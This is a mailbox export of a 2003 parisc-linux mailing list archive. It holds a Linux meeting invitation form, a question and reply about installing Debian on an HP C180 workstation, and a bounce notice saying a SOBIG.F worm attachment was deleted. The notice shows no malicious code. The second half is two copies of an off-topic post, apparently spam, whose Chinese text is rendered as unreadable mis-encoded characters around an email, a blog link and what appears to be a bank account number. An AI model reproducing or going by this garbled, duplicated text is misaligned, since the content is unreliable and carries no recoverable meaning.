multiple-power-sockets for your systems and hubs or switches.  The
computing center of the university kindly provides us with network
connectivity to the main rooms, but we need to build the LAN within
the room ourselves.

A description on how to get to the science building in Oldenburg Wechloy
is available at <http://oldenburger.linuxtage.de/Oldenburg2003/routing.html=
>.

If you would like to attend the meeting, please send back the following=20
form, so that we can calculate space, power and food.

Name ................:

Date of arrival .....: ( ) Thursday, Sept. 25th
                       ( ) Friday, Sept. 26th
                       ( ) Saturday, Sept. 27th=20

Date of departure ...: ( ) Friday, Sept. 26th
                       ( ) Saturday, Sept. 27th
                       ( ) Sunday, Sept. 28th

Name may be listed on the website: [ ] yes
                                   [ ] no

Special requirements for food:

If you have any further questions, please don't hesitate to ask me.

Regards,

	Joey

--=20
The good thing about standards is that there are so many to choose from.
		-- Andrew S. Tanenbaum

Please always Cc to me when replying to me on the lists.

--FN+gV9K+162wdwwF
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD4DBQE/XLizW5ql+IAeqTIRAsEiAJ9t4yArpWROSe++3bmkI88k6wShKQCY8OPI
ysBnw5Ka59stwxwK1Ke3Sg==
=brHJ
-----END PGP SIGNATURE-----

--FN+gV9K+162wdwwF--


From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thaddeus A. Wilson" <tawilson@utmem.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems installing debian on a c180
Date: Mon, 08 Sep 2003 15:26:45 -0500
Organization: University of Tennessee
Lines: 42
Approved: news@gmane.org
Message-ID: <3F5CE605.327AD964@utmem.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622763 30756 80.91.229.3 (22 Nov 2014 02:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  8 14:24:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from utnet2.utmem.edu (utnet2.utmem.edu [132.192.13.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 096BE482E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Sep 2003 14:24:32 -0600 (MDT)
Original-Received: from conversion-daemon.utnet2.utmem.edu by utnet2.utmem.edu
 (iPlanet Messaging Server 5.2 HotFix 0.9 (built Jul 29 2002))
 id <0HKW00J01VXP37@utnet2.utmem.edu> for parisc-linux@lists.parisc-linux.org;
 Mon, 08 Sep 2003 15:24:30 -0500 (CDT)
Original-Received: from utmem.edu (medphys.utmem.edu [132.192.19.211])
 by utnet2.utmem.edu
 (iPlanet Messaging Server 5.2 HotFix 0.9 (built Jul 29 2002))
 with ESMTPS id <0HKW00IILWOTT5@utnet2.utmem.edu> for
 parisc-linux@lists.parisc-linux.org; Mon, 08 Sep 2003 15:24:30 -0500 (CDT)
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.10.20 9000/780)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19465

i had previously done some messing around with a c180 and at one time
figured
out how to install but have since lost my notes.

i have a c180 with an hp A4071B graphics card installed in GSC slot 3
and
recognized as HPA4071B_LZ

i know i previously had to enter "video=stifb:off" in the palo:

default when i choose to interact with ipl on boot as parameters to
kernal in
palo are:

1. 0/vmlinux
2. ramdisk_size=8192
3. initrd=0/ramdisk
4. console=tty0
5. sti=1/0/0
6. sti_font=VGA8x16
7. TERM=linux

if i accept default it gets past that message indicating a problem with
console
but the screen goes black although it looks as if the monitor is still
active
i.e. green light not a yellow one.

i am using the debian 3.0r1 disk as my boot disk.

i recall the last time i got the install to work i got a penguin in the
corner
but graphic install never worked and i had some difficulty with the x
server
starting.  any help on reinstallation would be appreciated i.e.
necessary mods
to the parameters on boot to get back to installing.

thanks in advance and sorry for regressing.




From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems installing debian on a c180
Date: Mon, 08 Sep 2003 21:21:58 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <3F5CF2F6.3040101@tiscali.be>
References: <3F5CE605.327AD964@utmem.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622763 30758 80.91.229.3 (22 Nov 2014 02:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thaddeus A. Wilson" <tawilson@utmem.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  8 15:21:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17623482E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Sep 2003 15:21:54 -0600 (MDT)
Original-Received: from [62.235.120.229] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19wTSJ-0005qf-00; Mon, 08 Sep 2003 23:21:51 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F5CE605.327AD964@utmem.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19466

Thaddeus A. Wilson wrote:

>i had previously done some messing around with a c180 and at one time
>figured
>out how to install but have since lost my notes.
>
>i have a c180 with an hp A4071B graphics card installed in GSC slot 3
>and
>recognized as HPA4071B_LZ
>
>i know i previously had to enter "video=stifb:off" in the palo:
>
>default when i choose to interact with ipl on boot as parameters to
>kernal in
>palo are:
>
>1. 0/vmlinux
>2. ramdisk_size=8192
>3. initrd=0/ramdisk
>4. console=tty0
>
There should the place where you would probaly insert "video=stifb:off" 
(just for remind: select 4 then at the end of line insert a space 
followed by video=stifb:off)

>5. sti=1/0/0
>6. sti_font=VGA8x16
>7. TERM=linux
>
>if i accept default it gets past that message indicating a problem with
>console
>but the screen goes black although it looks as if the monitor is still
>active
>i.e. green light not a yellow one.
>
>i am using the debian 3.0r1 disk as my boot disk.
>
>i recall the last time i got the install to work i got a penguin in the
>corner
>but graphic install never worked and i had some difficulty with the x
>server
>starting.  any help on reinstallation would be appreciated i.e.
>necessary mods
>to the parameters on boot to get back to installing.
>  
>
hmm the most simple way would be first to re-try the install from a 
serial console (or an actual conole in vt100 emulation or a minicom 
session from another system). (the tips is to unplug ps/2 kbd/mouse so 
the pdc will switch automatically console to serial port 1 at reboot time)

Once your system is ready you may be first update it (with apt-get for 
example) and install a more recent kernel (iirc 2.4.21 should be already 
pkged or a 2.4 cvs)  to be sure that pb was not already solved since 3.0 
cds.
If you still experiment pb into 
<http://parisc-linux.org/mailing-lists/index.html> you could try to 
search (with google engine) "c180" related mail in this ml

Another  solution could be to try a netinstall from a recent lifimage 
available near <http://pateam.esiee.fr/cd-images/testing>.

hth,
    Joel




From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery Subsystem <MAILER-DAEMON@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returned mail: see transcript for details
Date: Tue, 9 Sep 2003 18:15:40 -0700 (PDT)
Lines: 89
Approved: news@gmane.org
Message-ID: <200309100115.h8A1Fegl003968@sj-inbound-1.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com"
X-Trace: ger.gmane.org 1416622763 30762 80.91.229.3 (22 Nov 2014 02:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:23 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  9 19:15:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E3FC4844
	for <parisc-linux@parisc-linux.org>; Tue,  9 Sep 2003 19:15:16 -0600 (MDT)
Original-Received: from unknown (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 09 Sep 2003 18:28:15 -0700
Original-Received: from sj-inbound-1.cisco.com (sj-inbound-1.cisco.com [128.107.250.142])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h8A1FCXs009977
	for <parisc-linux@parisc-linux.org>; Tue, 9 Sep 2003 18:15:14 -0700 (PDT)
Original-Received: from localhost (localhost)
	by sj-inbound-1.cisco.com (8.12.8p1/8.11.2) id h8A1Fegl003968;
	Tue, 9 Sep 2003 18:15:40 -0700 (PDT)
Auto-Submitted: auto-generated (failure)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19467

This is a MIME-encapsulated message

--h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file document_all.pif
The uncleanable file is deleted.

---------------------------------------------------------

--h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com

The original message was received at Tue, 9 Sep 2003 18:15:23 -0700 (PDT)
from dhcp9546197.columbus.rr.com [24.95.46.197]

   ----- The following addresses had permanent fatal errors -----
<damian@cisco.com>
    (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject)
    (expanded from: <damian@cisco.com>)

   ----- Transcript of session follows -----
... while talking to sj-core-5.cisco.com.:
>>> DATA
<<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject
554 5.0.0 Service unavailable

--h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com
Content-Type: message/delivery-status

Reporting-MTA: dns; sj-inbound-1.cisco.com
Received-From-MTA: DNS; dhcp9546197.columbus.rr.com
Arrival-Date: Tue, 9 Sep 2003 18:15:23 -0700 (PDT)

Final-Recipient: RFC822; damian@cisco.com
X-Actual-Recipient: RFC822; damian@sj-core.cisco.com
Action: failed
Status: 5.0.0
Remote-MTA: DNS; sj-core-5.cisco.com
Diagnostic-Code: SMTP; 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject
Last-Attempt-Date: Tue, 9 Sep 2003 18:15:40 -0700 (PDT)

--h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com
Content-Type: message/rfc822

Return-Path: <parisc-linux@parisc-linux.org>
Received: from WPZ (dhcp9546197.columbus.rr.com [24.95.46.197])
	by sj-inbound-1.cisco.com (8.12.8p1/8.11.2) with ESMTP id h8A1FMgl003735
	for <damian@cisco.com>; Tue, 9 Sep 2003 18:15:23 -0700 (PDT)
Message-Id: <200309100115.h8A1FMgl003735@sj-inbound-1.cisco.com>
From: <parisc-linux@parisc-linux.org>
To: <damian@cisco.com>
Subject: Thank you!
Date: Tue, 9 Sep 2003 21:14:55 --0400
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_12993AA2"

This is a multipart message in MIME format

--_NextPart_000_12993AA2
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_12993AA2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

document_all.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_12993AA2--


--h8A1Fegl003968.1063156540/sj-inbound-1.cisco.com--



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?1b7U2rSwx7C1xMWuuqI=?= <cqnvhay@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?1b7U2rSwx7C1xMWuuqIswfXUxi4uLi4u?=
Date: Wed, 10 Sep 2003 10:21:11 +0800
Lines: 69
Approved: news@gmane.org
Message-ID: <20030910022108.2D2B84831@dsl2.external.hp.com>
Reply-To: cqnvhai@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622763 30766 80.91.229.3 (22 Nov 2014 02:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  9 20:21:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 163.com (unknown [211.147.237.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D2B84831
	for <parisc-linux@parisc-linux.org>; Tue,  9 Sep 2003 20:21:08 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19468

վڴǰŮ 
۵ӰͲ˻Ӱֻ 
ɣип֪˺֪ʵ 
Ȼݣ۾ٲѡ 
ͣĸ壿ɳ̲ 

վڴǰŮ 
ֻּҸǧòҪǰս 
ҰսŮӦԷ 
лʦϣֻʮ¿ͥС 
˭ĵȻ˭ǻ 

վڴǰŮ 
근ʮϲʫķơ 
ĸмҲǧޣҲĮȻ 
˵ӳиҵΪТӪ軹һ롣 
˭ҿֵĿɽ˭ǧĵȴ 

վڴǰŮ 
òֽ߲Ӱ¿˳ 
ۣƣᵱٵ 
һ裬飬Ȼ 
ԭ˳ãǧԵݣ 

վڴǰŮ 
03828ڹ 
Email:cqnvhai@163.com 
http://www.blogcn.com/blog/?u=cqnvhai

һøס 
װ걻ĸȥˣֻһ游һͬĸĲĸǶӵضĻˡ׺ܰĸףĸҲܰסÿһνĸʱܸоǷǷݾҲ8꣬ĸĸ׳ʧڳͥͻȻʣĸ鰮ʹʧ˸׳صĴͬʱҲǻڶԹ游˼״һصйɳ 
ڣͯķĸҵļֻһģļӰΨһӡǿĸ׵ƬܻĸվҴǰ΢ЦͯʱʹҪҪ裬ҾܾˡǸױȫϣΨһŮϣֱҲ⸸׺ڳɳʮ֮Բ½飬ΪĸľͿ̹ĵĸԡʮΪĸعʮ꣬Ҳһ˱һˡһˣҲһŵˡںöĵ游İĲҲ˾ܵİҴϲȥ游ңʮֻȥĴΣζǸȥġ 
ʹǲһֵŮ΢ЦŸңһ㶼ֻ֣һƸеšûܹöΪʲôʢûܹ׺Ϊʲô֩ϾҲûܹСʼռʥ˵ĴڡЩŵ㲻Ҫ׵ĶְΪŮԺ 
ǵģһȺ˲һŮڸ׵ĳһῴŴĳ24ųеҹſֽһһǶȿʣڱﾲҵԼĿֻ顣Ÿ׵˾ȥо˻æµˣʸǲԺҲҪϰ๤ҵļ˵ϲԴ͸ҵʹ㲻ǲҪģְֻ׼㹻ǮֻҪϲ£ĿЦݾǰְ룬ٴһ㣬ְֻҪеռǳ飬ԸԸ⣬Ҵ 
лʳǣлҴûΪǮл׸һֵĴ԰ҳ˳ҡǽһжѾڡһŮһŮһ˸׵İԼͻᱻŮѲУѰܣٻ׵Լռǣ˼䴴˸п˭ܹףǸеϣڣڸõĻر;Тެܺҵһ룬Լֵȥ 
վڴǰŮ򵥵һŮôϡŹ֣һŮܻԣȻȹᴩ´磬Ȼʲ״ףֻΪһиѳϰߣ 
ĸģĲѣҷɳ̲ΪĴ磬ѧİšվڴǰŮ˭ԸΪһŮǧ谮˭ԸΪһŮȥ׷һʣ˭ԸΪȢһŮȷʵ޺ãã˺ʵĴ𰸣 
ۣݣʳѣѵЩٻ 

վڴǰŮ 
0391峿ãڹ 



ĵڴ˺ѰҴ𰸡컹ãƲɢݵ˵ͱ䣬̨˵һҹʲôݣٲѣֻҲˣһһʲôСС֪ǮΪСΪǮǿòĳƱŸ׵ȥ׸ĿҲûǮ³ǵģ̫ˣΪҲϲİˣԸҲİ˰˾˴ؼңΪ̫ƧԴŮеѧҲûʲô֪ĵͬѡһĬĬԼŷ仨ѩ£Сѿд¶ĵ̾ ҲϲһкȻʥ˵ĴڣһA4ֽһԲȦ󵽿԰˵Դװȥȴ֪ô˶ʮ̸ 
ǵġһŮһƣ磬Խдṩõϣϲ£ѵҲддƲϲԼ⣬ֻΪ𼦱ɱʱʹᣬƿڵϵˣƻеǮѵеһжǴı֣ΪƵ۾￴綼ǵ¥ˡҸ˲һԸΪҲ硢ܹڳ˵˼ά͹۵⡣ΪЩΪܹԼԸȥȥϲԴ͸󱨴𡣾һƣ˭ܸӦô 
ʮ£ͥеӣƻԲķʽѸеĲƲһ޿ҪˡͬҲܼҲҪΪƵĻᣬҲϲԴ͸Ƶƾ٣ر˼άһӽȥЩˣ֤ƴڵļֵ 
ףǣлԸƵˣʱƻرķʽƵصЩĵˡЩᳰЦЩܹʥ˴ڵˣ 
ǵģվڴǰŮȷʵڣȷʵʵ֮ҲͬΪǶûվڴ⣡ǵģ٣ҲһѰʵ 
һͨʺţ9555 5020 0150 9251 ׵Ŀ 

վڴǰŮ 
Email:cqnvhai@163.com 
0393賿 ڹ 


ǵģƵȷһֵŮӡ
˵3ʱҾͺϲɫƬǸȴǰѻƬǸ׾ͰѻƬתҿһҪ׾ͻҵ۾ëʹȥҽҽĽǣӰͼƬ󣬳ΪӡһһʱǵһĹߣ۽Ĥ൱ĵƬγһ񡣵ǣ񴫵ԵӾ࣬ۺϷ㱻ˡ3µ׶ƤʹδȫȱƵۺϷǿͼǵģֻаѻƬܸܵλ񡣲ʱ̣ܶŴƤʹƣȻȻʧˡ
ʱȴԶֱƿ磬ǵŵġŵķӡŵ·ŵˡհһƣɻŬİյһеһƿڲֱܷͬңƹ·ϳ˶һΣյľٶܶڳ˿Ȼ飬ƻвͬĿҲƵرҲƶƸе֪ԼʺϹ˳ǲʺϹġ
һƣ˭ܸʲô˭ܸҸôһƣ׸úȥδӣʧȥ׵ӣ˭ܹ˭Ը˭Ըǻ˭Ը谮һŮһֵŮȷʵĴڣ
ˣȷʵˣþ̲Ǹ壿ǹޣ
ʧʱ򡢵ĵʱ򡢵پʱͬĵطҲϣиδδ֪δǵվڴǰŮڿѰҴ𰸣

վڴǰŮ
0397ҹڹ
http://www.blogcn.com/blog/?u=cqnvhai
Email:cqnvhai@163.com 



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?1b7U2rSwx7C1xMWuuqI=?= <cqnvhay@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?1b7U2rSwx7C1xMWuuqIswfXUxi4uLi4u?=
Date: Wed, 10 Sep 2003 10:21:14 +0800
Lines: 69
Approved: news@gmane.org
Message-ID: <20030910022109.82CF74831@dsl2.external.hp.com>
Reply-To: cqnvhai@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622764 30770 80.91.229.3 (22 Nov 2014 02:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  9 20:21:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 163.com (unknown [211.147.237.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82CF74831
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Sep 2003 20:21:09 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19469

վڴǰŮ 
۵ӰͲ˻Ӱֻ 
ɣип֪˺֪ʵ 
Ȼݣ۾ٲѡ 
ͣĸ壿ɳ̲ 

վڴǰŮ 
ֻּҸǧòҪǰս 
ҰսŮӦԷ 
лʦϣֻʮ¿ͥС 
˭ĵȻ˭ǻ 

վڴǰŮ 
근ʮϲʫķơ 
ĸмҲǧޣҲĮȻ 
˵ӳиҵΪТӪ軹һ롣 
˭ҿֵĿɽ˭ǧĵȴ 

վڴǰŮ 
òֽ߲Ӱ¿˳ 
ۣƣᵱٵ 
һ裬飬Ȼ 
ԭ˳ãǧԵݣ 

վڴǰŮ 
03828ڹ 
Email:cqnvhai@163.com 
http://www.blogcn.com/blog/?u=cqnvhai

һøס 
װ걻ĸȥˣֻһ游һͬĸĲĸǶӵضĻˡ׺ܰĸףĸҲܰסÿһνĸʱܸоǷǷݾҲ8꣬ĸĸ׳ʧڳͥͻȻʣĸ鰮ʹʧ˸׳صĴͬʱҲǻڶԹ游˼״һصйɳ 
ڣͯķĸҵļֻһģļӰΨһӡǿĸ׵ƬܻĸվҴǰ΢ЦͯʱʹҪҪ裬ҾܾˡǸױȫϣΨһŮϣֱҲ⸸׺ڳɳʮ֮Բ½飬ΪĸľͿ̹ĵĸԡʮΪĸعʮ꣬Ҳһ˱һˡһˣҲһŵˡںöĵ游İĲҲ˾ܵİҴϲȥ游ңʮֻȥĴΣζǸȥġ 
ʹǲһֵŮ΢ЦŸңһ㶼ֻ֣һƸеšûܹöΪʲôʢûܹ׺Ϊʲô֩ϾҲûܹСʼռʥ˵ĴڡЩŵ㲻Ҫ׵ĶְΪŮԺ 
ǵģһȺ˲һŮڸ׵ĳһῴŴĳ24ųеҹſֽһһǶȿʣڱﾲҵԼĿֻ顣Ÿ׵˾ȥо˻æµˣʸǲԺҲҪϰ๤ҵļ˵ϲԴ͸ҵʹ㲻ǲҪģְֻ׼㹻ǮֻҪϲ£ĿЦݾǰְ룬ٴһ㣬ְֻҪеռǳ飬ԸԸ⣬Ҵ 
лʳǣлҴûΪǮл׸һֵĴ԰ҳ˳ҡǽһжѾڡһŮһŮһ˸׵İԼͻᱻŮѲУѰܣٻ׵Լռǣ˼䴴˸п˭ܹףǸеϣڣڸõĻر;Тެܺҵһ룬Լֵȥ 
վڴǰŮ򵥵һŮôϡŹ֣һŮܻԣȻȹᴩ´磬Ȼʲ״ףֻΪһиѳϰߣ 
ĸģĲѣҷɳ̲ΪĴ磬ѧİšվڴǰŮ˭ԸΪһŮǧ谮˭ԸΪһŮȥ׷һʣ˭ԸΪȢһŮȷʵ޺ãã˺ʵĴ𰸣 
ۣݣʳѣѵЩٻ 

վڴǰŮ 
0391峿ãڹ 



ĵڴ˺ѰҴ𰸡컹ãƲɢݵ˵ͱ䣬̨˵һҹʲôݣٲѣֻҲˣһһʲôСС֪ǮΪСΪǮǿòĳƱŸ׵ȥ׸ĿҲûǮ³ǵģ̫ˣΪҲϲİˣԸҲİ˰˾˴ؼңΪ̫ƧԴŮеѧҲûʲô֪ĵͬѡһĬĬԼŷ仨ѩ£Сѿд¶ĵ̾ ҲϲһкȻʥ˵ĴڣһA4ֽһԲȦ󵽿԰˵Դװȥȴ֪ô˶ʮ̸ 
ǵġһŮһƣ磬Խдṩõϣϲ£ѵҲддƲϲԼ⣬ֻΪ𼦱ɱʱʹᣬƿڵϵˣƻеǮѵеһжǴı֣ΪƵ۾￴綼ǵ¥ˡҸ˲һԸΪҲ硢ܹڳ˵˼ά͹۵⡣ΪЩΪܹԼԸȥȥϲԴ͸󱨴𡣾һƣ˭ܸӦô 
ʮ£ͥеӣƻԲķʽѸеĲƲһ޿ҪˡͬҲܼҲҪΪƵĻᣬҲϲԴ͸Ƶƾ٣ر˼άһӽȥЩˣ֤ƴڵļֵ 
ףǣлԸƵˣʱƻرķʽƵصЩĵˡЩᳰЦЩܹʥ˴ڵˣ 
ǵģվڴǰŮȷʵڣȷʵʵ֮ҲͬΪǶûվڴ⣡ǵģ٣ҲһѰʵ 
һͨʺţ9555 5020 0150 9251 ׵Ŀ 

վڴǰŮ 
Email:cqnvhai@163.com 
0393賿 ڹ 


ǵģƵȷһֵŮӡ
˵3ʱҾͺϲɫƬǸȴǰѻƬǸ׾ͰѻƬתҿһҪ׾ͻҵ۾ëʹȥҽҽĽǣӰͼƬ󣬳ΪӡһһʱǵһĹߣ۽Ĥ൱ĵƬγһ񡣵ǣ񴫵ԵӾ࣬ۺϷ㱻ˡ3µ׶ƤʹδȫȱƵۺϷǿͼǵģֻаѻƬܸܵλ񡣲ʱ̣ܶŴƤʹƣȻȻʧˡ
